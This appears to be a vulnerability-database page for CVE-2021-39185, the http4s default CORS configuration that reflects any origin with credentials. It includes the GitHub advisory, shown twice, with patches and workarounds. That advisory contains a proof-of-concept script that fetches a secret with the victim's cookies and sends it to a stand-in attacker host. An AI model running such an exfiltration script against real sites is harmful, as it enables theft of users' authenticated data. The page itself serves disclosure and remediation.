Every CVE Search/ Get API key

CVE-2021-39185

Default CORS config allows any origin with credentials

9.1 CriticalFix available

Http4s is a minimal, idiomatic Scala interface for HTTP services. In http4s versions 0.21.26 and prior, 0.22.0 through 0.22.2, 0.23.0, 0.23.1, and 1.0.0-M1 through 1.0.0-M24, the default CORS configuration is vulnerable to an origin reflection attack. The middleware is also susceptible to a Null Origin Attack. The problem is fixed in 0.21.27, 0.22.3, 0.23.2, and 1.0.0-M25. The original CORS implementation and CORSConfig are deprecated. See the GitHub GHSA for more information, including code examples and workarounds.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
None
User interaction
None

What an attacker can affect

Confidentiality
High
Integrity
High
Availability
None

Exploit likelihood

0.59%Unchanged since Sep 2, 2021
90%50%10%1%

What each source reports

CVE List Score used 9.1

Default CORS config allows any origin with credentials

Http4s is a minimal, idiomatic Scala interface for HTTP services. In http4s versions 0.21.26 and prior, 0.22.0 through 0.22.2, 0.23.0, 0.23.1, and 1.0.0-M1 through 1.0.0-M24, the default CORS configuration is vulnerable to an origin reflection attack. The middleware is also susceptible to a Null Origin Attack. The problem is fixed in 0.21.27, 0.22.3, 0.23.2, and 1.0.0-M25. The original CORS implementation and CORSConfig are deprecated. See the GitHub GHSA for more information, including code examples and workarounds.

Record
CVE-2021-39185
CVSS 3.1
9.1 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Weakness
CWE-346
Updated
2026-11-02
EUVDEUVD-2021-1978 9.1

Http4s is a minimal, idiomatic Scala interface for HTTP services. In http4s versions 0.21.26 and prior, 0.22.0 through 0.22.2, 0.23.0, 0.23.1, and 1.0.0-M1 through 1.0.0-M24, the default CORS configuration is vulnerable to an origin reflection attack. The middleware is also susceptible to a Null Origin Attack. The problem is fixed in 0.21.27, 0.22.3, 0.23.2, and 1.0.0-M25. The original CORS implementation and CORSConfig are deprecated. See the GitHub GHSA for more information, including code examples and workarounds.

Record
EUVD-2021-1978
CVSS 3.1
9.1 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Updated
2026-11-03
GitHub AdvisoriesGHSA-52cf-226f-rhr6 9.1

Default CORS config allows any origin with credentials

Impact

Origin reflection attack

The default CORS configuration is vulnerable to an origin reflection attack. Take the following http4s app app, using the default CORS config, running at https://vulnerable.example.com:

val routes: HttpRoutes[F] = HttpRoutes.of {
  case req if req.pathInfo === "/secret" =>
    Response(Ok).withEntity(password).pure[F]
}
val app = CORS(routes.orNotFound)

The following request is made to our server:

GET /secret HTTP/1.1
Host: vulnerable.example.com
Origin: https://adversary.example.net
Cookie: sessionId=...

When the anyOrigin flag of CORSConfig is true, as is the case in the default argument to CORS, the middleware will allow sharing its resource regardless of the allowedOrigins setting. Paired with the default allowCredentials, the server approves sharing responses that may have required credentials for sensitive information with any origin:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://adversary.example.org
Access-Control-Allow-Credentials: true 
Content-Type: text/plain

p4ssw0rd

A malicious script running on https://adversary.example.org/ can then exfiltrate sensitive information with the user's credentials to vulnerable.exmaple.org:

var req = new XMLHttpRequest(); 
req.onload = reqListener; 
req.open('get','https://vulnerable.example.org/secret',true); 
req.withCredentials = true;
req.send();

function reqListener() {
    location='//bad-people.example.org/log?key='+this.responseText; 
};

Null origin attack

The middleware is also susceptible to a Null Origin Attack. A user agent may send Origin: null when a request is made from a sandboxed iframe. The CORS-wrapped http4s app will respond with Access-Control-Allow-Origin: null, permitting a similar exfiltration of secrets to the above.

Patches

The problem is fixed in 0.21.27, 0.22.3, 0.23.2, and 1.0.0-M25. The original CORS implementation and CORSConfig are deprecated. In addition to the origin vulnerability, the following deficiencies in the deprecated version are fixed in the new signatures:

Migration

The CORS object exposes a default CORSPolicy via CORS.policy. This can be configured with various with* methods, like any http4s builder. Finally, the CORSPolicy may be applied to any Http, like any other http4s middleware:

val routes: HttpRoutes[F] = ???
val cors = CORS.policy
  .withAllowOriginAll
  .withAllowCredentials(false)
  .apply(routes)

Workarounds

It is possible to be safe in unpatched versions, but note the following defects exist:

  • The anyMethod flag, enabled by default, accepts methods that cannot be enumerated in the Access-Control-Allow-Methods preflight response.
  • Rejected CORS requests receive a 403 response, when the client should be the enforcement point. The server should just omit all CORS response headers.
  • Does not send Vary: Access-Control-Request-Headers on preflight requests. This may confuse caches.
  • Does not validate the Access-Control-Request-Headers of a preflight request. This validation is not mandated by the Fetch standard, but is typical of most server implementations.
  • Needlessly sends Vary: Access-Control-Request-Method on non-preflight requests. This should be harmless in practice.
  • Needlessly sends Access-Control-Max-Age header on non-preflight requests. This should be harmless in practice.
  • Sends an invalid Access-Control-Allow-Credentials: false instead of omitting the header. This should be harmless in practice.

Explicit origins

In versions before the patch, set anyOrigin to false, and then specifically include trusted origins in allowedOrigins.

0.21.x
val routes: HttpRoutes[F] = ???
val config = CORS.DefaultConfig.copy(
  anyOrigin = false,
  allowOrigins = Set("http://trusted.example.com")
)
val cors = CORS(routes, config)
0.22.x, 0.23.x, 1.x
val routes:…
Record
GHSA-52cf-226f-rhr6
CVSS 3.1
9.1 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Weakness
CWE-346
Updated
2026-11-02
NVD 9.1

Http4s is a minimal, idiomatic Scala interface for HTTP services. In http4s versions 0.21.26 and prior, 0.22.0 through 0.22.2, 0.23.0, 0.23.1, and 1.0.0-M1 through 1.0.0-M24, the default CORS configuration is vulnerable to an origin reflection attack. The middleware is also susceptible to a Null Origin Attack. The problem is fixed in 0.21.27, 0.22.3, 0.23.2, and 1.0.0-M25. The original CORS implementation and CORSConfig are deprecated. See the GitHub GHSA for more information, including code examples and workarounds.

Record
CVE-2021-39185
CVSS 3.1
9.1 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
CVSS 2.0
6.4 MediumAV:N/AC:L/Au:N/C:P/I:P/A:N
Weakness
CWE-346
Updated
2026-11-02
OSV 9.1

Http4s is a minimal, idiomatic Scala interface for HTTP services. In http4s versions 0.21.26 and prior, 0.22.0 through 0.22.2, 0.23.0, 0.23.1, and 1.0.0-M1 through 1.0.0-M24, the default CORS configuration is vulnerable to an origin reflection attack. The middleware is also susceptible to a Null Origin Attack. The problem is fixed in 0.21.27, 0.22.3, 0.23.2, and 1.0.0-M25. The original CORS implementation and CORSConfig are deprecated. See the GitHub GHSA for more information, including code examples and workarounds.

Record
CVE-2021-39185
CVSS 3.1
9.1 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Updated
2026-11-02
OSVGHSA-52cf-226f-rhr6 9.1

Default CORS config allows any origin with credentials

Impact

Origin reflection attack

The default CORS configuration is vulnerable to an origin reflection attack. Take the following http4s app app, using the default CORS config, running at https://vulnerable.example.com:

val routes: HttpRoutes[F] = HttpRoutes.of {
  case req if req.pathInfo === "/secret" =>
    Response(Ok).withEntity(password).pure[F]
}
val app = CORS(routes.orNotFound)

The following request is made to our server:

GET /secret HTTP/1.1
Host: vulnerable.example.com
Origin: https://adversary.example.net
Cookie: sessionId=...

When the anyOrigin flag of CORSConfig is true, as is the case in the default argument to CORS, the middleware will allow sharing its resource regardless of the allowedOrigins setting. Paired with the default allowCredentials, the server approves sharing responses that may have required credentials for sensitive information with any origin:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://adversary.example.org
Access-Control-Allow-Credentials: true 
Content-Type: text/plain

p4ssw0rd

A malicious script running on https://adversary.example.org/ can then exfiltrate sensitive information with the user's credentials to vulnerable.exmaple.org:

var req = new XMLHttpRequest(); 
req.onload = reqListener; 
req.open('get','https://vulnerable.example.org/secret',true); 
req.withCredentials = true;
req.send();

function reqListener() {
    location='//bad-people.example.org/log?key='+this.responseText; 
};

Null origin attack

The middleware is also susceptible to a Null Origin Attack. A user agent may send Origin: null when a request is made from a sandboxed iframe. The CORS-wrapped http4s app will respond with Access-Control-Allow-Origin: null, permitting a similar exfiltration of secrets to the above.

Patches

The problem is fixed in 0.21.27, 0.22.3, 0.23.2, and 1.0.0-M25. The original CORS implementation and CORSConfig are deprecated. In addition to the origin vulnerability, the following deficiencies in the deprecated version are fixed in the new signatures:

Migration

The CORS object exposes a default CORSPolicy via CORS.policy. This can be configured with various with* methods, like any http4s builder. Finally, the CORSPolicy may be applied to any Http, like any other http4s middleware:

val routes: HttpRoutes[F] = ???
val cors = CORS.policy
  .withAllowOriginAll
  .withAllowCredentials(false)
  .apply(routes)

Workarounds

It is possible to be safe in unpatched versions, but note the following defects exist:

  • The anyMethod flag, enabled by default, accepts methods that cannot be enumerated in the Access-Control-Allow-Methods preflight response.
  • Rejected CORS requests receive a 403 response, when the client should be the enforcement point. The server should just omit all CORS response headers.
  • Does not send Vary: Access-Control-Request-Headers on preflight requests. This may confuse caches.
  • Does not validate the Access-Control-Request-Headers of a preflight request. This validation is not mandated by the Fetch standard, but is typical of most server implementations.
  • Needlessly sends Vary: Access-Control-Request-Method on non-preflight requests. This should be harmless in practice.
  • Needlessly sends Access-Control-Max-Age header on non-preflight requests. This should be harmless in practice.
  • Sends an invalid Access-Control-Allow-Credentials: false instead of omitting the header. This should be harmless in practice.

Explicit origins

In versions before the patch, set anyOrigin to false, and then specifically include trusted origins in allowedOrigins.

0.21.x
val routes: HttpRoutes[F] = ???
val config = CORS.DefaultConfig.copy(
  anyOrigin = false,
  allowOrigins = Set("http://trusted.example.com")
)
val cors = CORS(routes, config)
0.22.x, 0.23.x, 1.x
val routes:…
Record
GHSA-52cf-226f-rhr6
CVSS 3.1
9.1 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Weakness
CWE-346
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
org.http4s:http4s-server_2.13.0-M5
Maven
before 0.21.27
0.21.27
org.http4s:http4s-server_3
Maven
0.22.0 up to 0.22.3
0.22.3
org.http4s:http4s-server_3
Maven
0.23.0 up to 0.23.2
0.23.2
org.http4s:http4s-server_2.10
Maven
before 0.21.27
0.21.27
org.http4s:http4s-server_2.11
Maven
before 0.21.27
0.21.27
org.http4s:http4s-server_2.12
Maven
before 0.21.27
0.21.27
org.http4s:http4s-server_2.12
Maven
0.22.0 up to 0.22.3
0.22.3
org.http4s:http4s-server_2.12
Maven
0.23.0 up to 0.23.2
0.23.2
org.http4s:http4s-server_2.13
Maven
before 0.21.27
0.21.27
org.http4s:http4s-server_2.13
Maven
0.22.0 up to 0.22.3
0.22.3
Show 12 moreShow less
Affected packages
PackageAffectedFixed
org.http4s:http4s-server_2.13
Maven
0.23.0 up to 0.23.2
0.23.2
org.http4s:http4s-server_2.13.0-M5
Maven
All versions, plus listed versions
0.20.00.20.0-RC10.20.10.20.100.20.2
Show 7 moreShow less
0.20.30.20.40.20.50.20.60.20.70.20.80.20.9
None known
org.http4s:http4s-server_3
Maven
0.22.0 up to 0.22.3, plus listed versions
0.22.10.22.2
0.22.3
org.http4s:http4s-server_3
Maven
0.23.0 up to 0.23.2, plus listed versions
0.23.1
0.23.2
org.http4s:http4s-server_2.10
Maven
All versions, plus listed versions
0.10.00.10.10.11.00.11.10.11.2
Show 45 moreShow less
0.11.30.12.00.12.10.12.20.12.30.12.40.12.50.12.60.13.00.13.0a0.13.10.13.1a0.13.20.13.2a0.13.30.13.3a0.14.00.14.0a0.14.10.14.100.14.10a0.14.110.14.11a0.14.1a0.14.20.14.2a0.14.30.14.3a0.14.40.14.4a0.14.50.14.5a0.14.60.14.6a0.14.70.14.7a0.14.80.14.8a0.14.90.14.9a0.15.00.15.0a0.15.10.15.100.15.10a
None known
org.http4s:http4s-server_2.11
Maven
All versions, plus listed versions
0.10.00.10.10.11.00.11.10.11.2
Show 45 moreShow less
0.11.30.12.00.12.10.12.20.12.30.12.40.12.50.12.60.13.00.13.0a0.13.10.13.1a0.13.20.13.2a0.13.30.13.3a0.14.00.14.0a0.14.10.14.100.14.10a0.14.110.14.11a0.14.1a0.14.20.14.2a0.14.30.14.3a0.14.40.14.4a0.14.50.14.5a0.14.60.14.6a0.14.70.14.7a0.14.80.14.8a0.14.90.14.9a0.15.00.15.0a0.15.10.15.100.15.10a
None known
org.http4s:http4s-server_2.12
Maven
before 0.21.27, plus listed versions
0.10.0-M100.15.00.15.0a0.15.10.15.10
Show 45 moreShow less
0.15.10a0.15.110.15.11a0.15.120.15.12a0.15.130.15.13a0.15.140.15.14a0.15.150.15.15a0.15.160.15.16a0.15.1a0.15.20.15.2a0.15.30.15.3a0.15.40.15.4a0.15.50.15.5a0.15.60.15.6a0.15.70.15.7a0.15.80.15.8a0.15.90.15.9a0.16.00.16.0-M10.16.0-M20.16.0-M30.16.0-RC10.16.0-RC20.16.0-RC30.16.0a0.16.0a-M10.16.0a-M20.16.0a-M30.16.0a-RC10.16.0a-RC20.16.0a-RC30.16.1
0.21.27
org.http4s:http4s-server_2.12
Maven
0.22.0 up to 0.22.3, plus listed versions
0.22-129-24d065b0.22-143-49b5a8d0.22-53-01128f50.22-96-55d31840.22.10.22.2
0.22.3
org.http4s:http4s-server_2.12
Maven
0.23.0 up to 0.23.2, plus listed versions
0.23.1
0.23.2
org.http4s:http4s-server_2.13
Maven
before 0.21.27, plus listed versions
0.10.0-M100.21.00.21.0-M10.21.0-M20.21.0-M3
Show 33 moreShow less
0.21.0-M40.21.0-M50.21.0-M60.21.0-RC10.21.0-RC20.21.0-RC30.21.0-RC40.21.0-RC50.21.10.21.110.21.120.21.130.21.140.21.150.21.160.21.170.21.180.21.190.21.20.21.200.21.210.21.220.21.230.21.240.21.250.21.260.21.30.21.40.21.50.21.60.21.70.21.80.21.9
0.21.27
org.http4s:http4s-server_2.13
Maven
0.22.0 up to 0.22.3, plus listed versions
0.22-129-24d065b0.22-143-49b5a8d0.22-53-01128f50.22-96-55d31840.22.10.22.2
0.22.3
org.http4s:http4s-server_2.13
Maven
0.23.0 up to 0.23.2, plus listed versions
0.23.1
0.23.2

History

History
RecordedChangedSources
aliasesEUVD
first indexedCVE List, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2021-39185 is a critical vulnerability (CVSS 9.1) in Http4s, published September 1, 2021. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.59%, the 48th percentile. Fixed in org.http4s:http4s-server_2.13.0-M5 0.21.27.

References

This page doesn't list everything

Left out here: 385 versions and the rest of 2 source descriptions. The JSON record has them.

MoveEnter Open